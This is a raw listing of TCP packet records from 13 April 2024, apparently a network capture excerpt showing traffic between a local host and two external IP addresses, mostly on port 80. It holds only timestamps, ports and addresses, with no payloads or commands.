Apr 13, 2024 20:21:21.655201912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655205965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655241013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655277967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655282021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655316114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655353069 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655356884 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655390978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655392885 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655428886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655464888 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655481100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655503988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655541897 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655574083 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655577898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655582905 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655615091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655653000 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655659914 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655694008 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655730963 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655739069 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655767918 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655771971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655805111 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655843973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655852079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655880928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655917883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655924082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655956030 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655957937 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655993938 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656030893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656039000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656069040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656105995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656111002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656145096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656147003 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656183958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656235933 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656238079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656279087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656316042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656333923 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656353951 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656357050 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656393051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656429052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656440020 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656466007 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656502008 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656511068 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656541109 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656553030 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656579018 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656615973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656624079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656655073 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656697035 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656702995 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656729937 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.656733990 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656775951 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.656835079 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.662684917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.983896971 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:22.003154993 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003249884 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003251076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003292084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003302097 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003331900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003340960 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003371000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003371000 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003411055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003411055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003448963 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003457069 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003488064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003492117 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003526926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003530025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003566980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003566027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003608942 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003626108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003668070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003675938 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003707886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003714085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003746033 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003751040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003789902 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003793955 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003830910 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003832102 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003870010 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003880024 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003910065 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003914118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003948927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003952980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.003992081 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.003993034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004029989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004030943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004067898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004070044 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004106045 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004110098 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004143953 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004152060 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004182100 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004185915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004230976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004250050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004302025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004384995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004425049 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.004431963 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004467010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.004981995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.005048990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.153589010 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:22.346837997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346873999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346893072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346911907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346921921 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.346935034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346945047 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.346955061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346973896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.346980095 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.346992016 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.346995115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347013950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347021103 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347028971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347033024 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347053051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347054958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347067118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347071886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347090006 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347093105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347107887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347115040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347127914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347135067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347146034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347166061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347174883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347174883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347184896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347194910 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347203970 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347208977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347224951 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347233057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347244024 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347263098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347279072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347296000 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347318888 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347321987 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347357988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347393990 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347424984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347433090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347440958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347472906 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347477913 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347511053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347517967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347549915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347549915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347589970 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347625017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347629070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347659111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347676992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.347820997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.347875118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.355803967 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:22.527817011 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:22.690416098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690476894 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690501928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690546989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690561056 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690587044 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690587044 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690634012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690642118 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690676928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690680981 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690721989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690726042 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690764904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690767050 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690804005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690814972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690845966 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690854073 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690885067 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690895081 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690926075 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690929890 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.690964937 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.690968990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691003084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691014051 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691042900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691049099 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691081047 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691092968 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691123962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691164017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691164017 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691174984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691203117 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691217899 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691243887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691247940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691282988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691287994 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691323996 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691334009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691368103 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691371918 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691406012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691425085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691446066 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691446066 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691485882 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691493034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691524982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691528082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691567898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691580057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691606998 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691620111 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691646099 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691658974 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691684961 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691685915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691723108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691732883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691765070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691772938 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691804886 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691812992 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691842079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691864014 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691881895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691884995 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691920996 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691922903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.691961050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.691970110 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692002058 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692029953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692039013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692039013 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692076921 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692084074 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692116022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692121983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692154884 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692167044 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692193985 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692203999 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692235947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692264080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692305088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692311049 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692342997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692352057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692383051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692388058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692426920 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692436934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692467928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.692478895 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.692512035 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.693592072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.693633080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.693645000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.693672895 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.693681002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.693716049 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.693723917 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.693758011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695687056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695755959 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695759058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695796967 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695801973 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695838928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695842028 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695879936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695884943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695920944 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695959091 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.695960999 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695981026 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.695997953 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696022034 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696039915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696050882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696080923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696086884 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696120977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696132898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696161032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696198940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696198940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696199894 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696247101 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696266890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696305037 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696343899 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696346045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696346045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696382999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:22.696387053 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:22.696422100 CEST	80	49749	193.233.132.167	192.168.2.4
